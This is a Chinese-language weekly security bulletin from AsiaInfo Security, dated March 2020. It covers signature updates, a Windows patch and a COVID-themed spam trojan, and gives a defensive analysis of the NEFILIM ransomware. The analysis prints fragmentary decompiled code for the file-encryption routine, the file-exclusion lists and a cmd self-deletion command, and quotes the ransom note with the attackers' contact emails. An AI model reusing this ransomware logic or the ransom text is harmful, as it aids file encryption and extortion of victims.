信息系统安全周报

亚信安全客户服务中心

感谢您订阅由亚信安全客户服务中心撰写的《信息系统安全周报》。
我们竭诚为您提供最新的安全资讯、病毒流行趋势、系统漏洞提示及网络安全防护技巧。

病毒情报中心		系统漏洞信息
一周病毒情况报告 亚信安全热门病毒综述- Trojan.PS1.POWLOAD.JKP		KB4538461
病毒通告		亚信安全产品
新型勒索病毒 NEFILIM 通告		病毒码发布情况

一周病毒情况报告

本周用户报告感染数量较多的病毒列表

- TROJ_EQUATED 家族

亚信安全热门病毒综述

亚信安全热门病毒综述–Trojan.PS1.POWLOAD.JKP

该病毒通过垃圾邮件传播，其使用意大利语，邮件主题则与新冠肺炎相关，诱导用户点击。其会窃取用户信息，链接恶意网站。

- 对该病毒的防护可以从下述链接中获取最新版本的病毒码：15.771.60.
  http://support.asiainfo-sec.com/Anti-Virus/China-Pattern/Pattern/

系统漏洞信息

Windows 安全更新 (4538461)

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

描述：https://portal.msrc.microsoft.com/zh-cn/security-guidance

亚信安全产品

病毒码发布情况

2020 年 03 月 23 日发布病毒码 15.757.60

截至目前，病毒码的最高版本为 15.771.60.发布于 2020 年 03 月 30 日。

- 病毒码下载地址为：
  http://support.asiainfo-sec.com/Anti-Virus/China-Pattern/Pattern/
- 您也可以从以下链接下载 TSUT 工具进行趋势科技 Windows 平台产品的更新：
  http://support.asiainfo-sec.com/Anti-Virus/China-Pattern/TSUT/

趋势科技在最近一周发布全球病毒码情况如下：

2020 年 03 月 23 日发布病毒码 15.759.00
2020 年 03 月 24 日发布病毒码 15.761.00
2020 年 03 月 25 日发布病毒码 15.763.00
2020 年 03 月 26 日发布病毒码 15.765.00
2020 年 03 月 27 日发布病毒码 15.767.00

截至目前，病毒码的最高版本为 15.773.00，发布于 2020 年 03 月 30 日。

- 病毒码下载地址为：
  http://support.asiainfo-sec.com/Anti-Virus/Main-Pattern/
- 您也可以从以下链接下载 TSUT 工具进行趋势科技 Windows 平台产品的更新：
  http://support.asiainfo-sec.com/Anti-Virus/TSUT/

系统安全技巧

近日，亚信安全截获新型勒索病毒 NEFILIM，其威胁受害者，如果不支付赎金，将会公布窃取到的受害者数据信息。该病毒遍历磁盘，对磁盘中的文件进行加密，并为加密后的文件名添加 NEFILIM 后缀。病毒加密完成后，调用 cmd 命令进行自我删除，亚信安全将其命名 Ransom.Win32.NEFILIM.A。

攻击流程

详细分析

病毒首先创建互斥体“Den'gi plyvut v karmany rekoy. My khodim po krayu nozha...”，防止病毒程序多次运行：

```
v20 = argv;
v3 = CreateMutexA(0, 0, "Den'gi plyvut v karmany rekoy. My khodim po krayu nozha...");
WaitForSingleObject(v3, 0);
if ( GetLastError() == 183 )
  ExitThread(0);
sub_402EFC();
sub_402190((int)&v22, L"NEFILIM");
v4 = unknown_libname_3(v23);
```

创建并生成 rsa 公钥，为后续加密文件做准备：

```
v0 = (const BYTE *)unknown_libname_3(3 * ((unsigned int)dword_40EC34 >> 2));
v1 = (int *)dword_40EC24;
if ( (unsigned int)dword_40EC38 < 0x10 )
  v1 = &dword_40EC24;
sub_40133E((int)v0, (int)v1, dword_40EC34);
if ( !hProv
  && !CryptAcquireContextA(&hProv, "rsa public", 0, 1u, 0)// 创建rsa公钥的密钥容器
  && !CryptAcquireContextA(&hProv, "rsa public", 0, 1u, 8u) )
{
  v3 = 0;
  goto LABEL_7;
}
result = CryptImportKey(hProv, v0, 3 * ((unsigned int)dword_40EC34 >> 2), 0, 0, &phKey);// 生成密钥导入
if ( !result )
LABEL_7:
  ExitProcess(v3);
return result;
```

设置白名单，避免加密以下文件，保证电脑系统运行正常：

```
do
{
  if ( lstrcmpiW(FindFileData.cFileName, L".")
    && lstrcmpiW(FindFileData.cFileName, L"..")
    && lstrcmpiW(FindFileData.cFileName, L"...")
    && lstrcmpiW(FindFileData.cFileName, L"windows")
    && lstrcmpiW(FindFileData.cFileName, L"$RECYCLE.BIN")
    && lstrcmpiW(FindFileData.cFileName, L"rsa")
    && lstrcmpiW(FindFileData.cFileName, L"NTDETECT.COM")
    && lstrcmpiW(FindFileData.cFileName, L"ntldr")
    && lstrcmpiW(FindFileData.cFileName, L"MSDOS.SYS")
    && lstrcmpiW(FindFileData.cFileName, L"IO.SYS")
    && lstrcmpiW(FindFileData.cFileName, L"boot.ini")
    && lstrcmpiW(FindFileData.cFileName, L"AUTOEXEC.BAT")
    && lstrcmpiW(FindFileData.cFileName, L"ntuser.dat")
    && lstrcmpiW(FindFileData.cFileName, L"desktop.ini")
    && lstrcmpiW(FindFileData.cFileName, L"CONFIG.SYS")
    && lstrcmpiW(FindFileData.cFileName, L"RECYCLER")
    && lstrcmpiW(FindFileData.cFileName, L"BOOTSECT.BAK")
    && lstrcmpiW(FindFileData.cFileName, L"bootmgr")
    && lstrcmpiW(FindFileData.cFileName, L"programdata")
    && lstrcmpiW(FindFileData.cFileName, L"appdata")
    && lstrcmpiW(FindFileData.cFileName, L"program files")
    && lstrcmpiW(FindFileData.cFileName, L"program files (x86)")
    && lstrcmpiW(FindFileData.cFileName, L"microsoft")
    && lstrcmpiW(FindFileData.cFileName, L"sophos") )
  {
    v29 = FindFileData.cFileName;
```

避免加密以下路径中的文件：

- C:/Appdata
- C:/Program files
- C:/Program files(x86)
- C:/Microsoft

- C:/sophos

同时避免加密特定的扩展名文件，如系统文件、NEFILIM.txt 勒索文档等：

exe	log	cab	cmd	mp3	NEFILIM-DECRYPT.txt
ini	Dll	url	ttf	cpl	com
NEFILIM	mp4	msi	lnk	pif	

```
if ( v33 < 8 )
  v5 = (const WCHAR *)&lpString1;
if ( lstrcmpiW(v5, L".exe") )
{
  v6 = lpString1;
  if ( v33 < 8 )
    v6 = (const WCHAR *)&lpString1;
  if ( lstrcmpiW(v6, L".log") )
  {
    v7 = lpString1;
    if ( v33 < 8 )
      v7 = (const WCHAR *)&lpString1;
    if ( lstrcmpiW(v7, L".cab") )
    {
      v8 = lpString1;
      if ( v33 < 8 )
        v8 = (const WCHAR *)&lpString1;
      if ( lstrcmpiW(v8, L".cmd") )
      {
        v9 = lpString1;
        if ( v33 < 8 )
          v9 = (const WCHAR *)&lpString1;
        if ( lstrcmpiW(v9, L".com") )
        {
          v10 = lpString1;
          if ( v33 < 8 )
            v10 = (const WCHAR *)&lpString1;
          if ( lstrcmpiW(v10, L".cpl") )
          {
            v11 = lpString1;
            if ( v33 < 8 )
              v11 = (const WCHAR *)&lpString1;
            if ( lstrcmpiW(v11, L".ini") )
            {
              v12 = lpString1;
              if ( v33 < 8 )
                v12 = (const WCHAR *)&lpString1;
              if ( lstrcmpiW(v12, L".dll") )
              /
```

病毒接下来获得可用的磁盘，遍历磁盘：

```
v0 = 0;
v13 = 0;
v1 = GetLogicalDrives();                        // 得到当前可用的磁盘驱动器
LOWORD(v2) = 0;
v10 = v1;
v11 = 0;
do
{
  if ( (v10 >> v2) & 1 )
  {
    v15 = 58;
    v16 = 92;
    v17 = 0;
    RootPathName = v2 + 65;
    v3 = GetDriveTypeW(&RootPathName);          // 确定磁盘类型，遍历磁盘
    if ( v3 == 3 || v3 == 2 || v3 == 4 )
    {
      v8 = 4;
      v7 = 0;
      v4 = GetProcessHeap();
      lpParameter = HeapAlloc(v4, v7, v8);
      *(_DWORD *)lpParameter = &RootPathName;
      sub_402190((int)&v6, &RootPathName);
      sub_4013F2(v6);
      v5 = CreateThread(0, 0, StartAddress, lpParameter, 0, 0);
      v8 = 500;
      *(&hHandle + v13) = v5;
      Sleep(v8);
    }
```

从根目录开始对文件加密，通过分析 hkey 生成过程，我们发现其使用 RSA 算法加密文件：

```
if ( (signed int)(14 * nNumberOfBytesToWrite + 32) > 1 )
{
  v26 = unknown_libname_3(0x10u);
  v25 = unknown_libname_3(0x10u);
  sub_401B4F(v26);
  sub_401B4F(v25);
  lpBuffer = unknown_libname_3(0x100u);
  v30 = unknown_libname_3(0x100u);
  sub_402BED((BYTE *)lpBuffer);
  sub_402BED((BYTE *)v30);
  GetTickCount();
  if ( (signed int)nNumberOfBytesToWrite > 4 )
  {
    sub_402166((int)&v32, "oh how i did it??? bypass sofos hah");
    sub_4021BE(0, (int)&v32, 1);
  }
  v8 = (void (__stdcall *)(HANDLE, LARGE_INTEGER, PLARGE_INTEGER, DWORD))SetFilePointerEx;
  SetFilePointerEx(hFile, FileSize, 0, 0);
  SetLastError(0);
  WriteFile(hFile, lpBuffer, 0x100u, &NumberOfBytesWritten, 0);
  if ( GetLastError() != 6 && GetLastError() != 19 )
  {
    SetFilePointerEx(hFile, (LARGE_INTEGER)(FileSize.QuadPart + 256), 0, 0);
    WriteFile(hFile, v30, 0x100u, &NumberOfBytesWritten, 0);
    SetFilePointerEx(hFile, (LARGE_INTEGER)(FileSize.QuadPart + 512), 0, 0);
    if ( _time64(0) )
    {
      sub_402190((int)&v32, L"how to fuck all the world?");
      sub_4022DB(0, (int)&v32, 1);
      v8 = (void (__stdcall *)(HANDLE, LARGE_INTEGER, PLARGE_INTEGER, DWORD))SetFilePointerEx;
    }
    WriteFile(hFile, ::lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
    v9 = FileSize.HighPart;
    v10 = FileSize.LowPart;
    if ( FileSize.HighPart < 0 )
      goto LABEL_36;
    if ( FileSize.HighPart > 0 || FileSize.LowPart > 0x3D09000 )
    {
      liDistanceToMove.QuadPart = 0i64;
      if ( FileSize.QuadPart > 0 )
      {
        while ( 1 )
        {
          v11 = __PAIR__(v9, v10) - liDistanceToMove.QuadPart;
          if ( (((__PAIR__((unsigned int)v9, v10) - liDistanceToMove.QuadPart) >> 32) & 0x80000000) != 0i64
            || (__PAIR__(v9, v10) < liDistanceToMove.QuadPart || HIDWORD(v11) == 0) && (unsigned int)v11 < 0x3D090 )
          {
```

加密完成后，病毒在加密的文件名后添加.NEFILIM 后缀：

```
sub_403A16((void *)v30);
sub_403A16(v26);
sub_403A16(v25);
v20 = sub_4028CB((int)&lpFileName, (int)&v32, L".NEFILIM");
if ( *(_DWORD *)(v20 + 20) >= 8u )
  v20 = *(_DWORD *)v20;
v21 = lpFileName;
if ( (unsigned int)a6 < 8 )
  v21 = (const WCHAR *)&lpFileName;
MoveFileW(v21, (LPCWSTR)v20);
```

病毒创建勒索提示文件 NEFILIM-DECRYPT.txt：

```
char v12; // [sp+Ch] [bp-20h]@1

v1 = sub_4028CB((int)&a1, (int)&v12, L"NEFILIM-DECRYPT.txt");
if ( *(_DWORD *)(v1 + 20) >= 8u )
  v1 = *(_DWORD *)v1;
hFile = CreateFileW((LPCWSTR)v1, 0x40000000u, 0, 0, 2u, 0, 0);
sub_4022DB(0, (int)&v12, 1);
if ( hFile )
```

```
All of your files have been encrypted with military grade algorithms.

We ensure that the only way to retrieve your data is with our software.
We will make sure you retrieve your data swiftly and securely when our demands are met.
Restoration of your data requires a private key which only we possess.
A large amount of your private files have been extracted and is kept in a secure location.
If you do not contact us in seven working days of the breach we will start leaking the data.
After you contact us we will provide you proof that your files have been extracted.

To confirm that our decryption software works email to us 2 files from random computers.
You will receive further instructions after you send us the test files.

jamesgonzaleswork1972@protonmail.com
pretty_hardjob2881@mail.com
dprworkjessiaeye1955@tutanota.com
```

完成上述操作后，病毒创建带有隐藏窗口的进程，利用 cmd 命令进行自我删除：

```
v11 = 0;
v0 = wcslen(L" /c timeout /t 3 /nobreak && del \"");
sub_4029BF(v7 + v0, (int)&v11);
v1 = wcslen(L" /c timeout /t 3 /nobreak && del \"");
sub_402A91((int)&v11, v1, L" /c timeout /t 3 /nobreak && del \"");
sub_4029F4(0xFFFFFFFF, (int)&v11, (int)&v6, 0);
v2 = wcslen(L"\" /s /f /q");
v3 = sub_402A91((int)&v11, v2, L"\" /s /f /q");
v9 = 0;
v10 = 7;
LOWORD(lpParameters) = 0;
sub_4021F9((int)&lpParameters, v3);
v4 = lpParameters;
if ( v10 < 8 )
  v4 = (const WCHAR *)&lpParameters;
ShellExecuteW(0, 0, L"cmd.exe", v4, 0, 0);
sub_4022DB(0, (int)&lpParameters, 1);
sub_4022DB(0, (int)&v11, 1);
return sub_4022DB(0, (int)&v6, 1);
```

解决方案

- ✓ 不要点击来源不明的邮件以及附件；
- ✓ 不要点击来源不明的邮件中包含的链接；
- ✓ 采用高强度的密码，避免使用弱口令密码，并定期更换密码；
- ✓ 打开系统自动更新，并检测更新进行安装；
- ✓ 尽量关闭不必要的文件共享；
- ✓ 请注意备份重要文档。备份的最佳做法是采取 3-2-1 规则，即至少做三个副本，用两种不同格式保存，并将副本放在异地存储。

亚信安全解决方案

- ✓ 亚信安全病毒码版本 15.759.60，云病毒码版本 15.759.71，全球码版本 15.759.00 已经可以检测，请用户及时升级病毒码版本。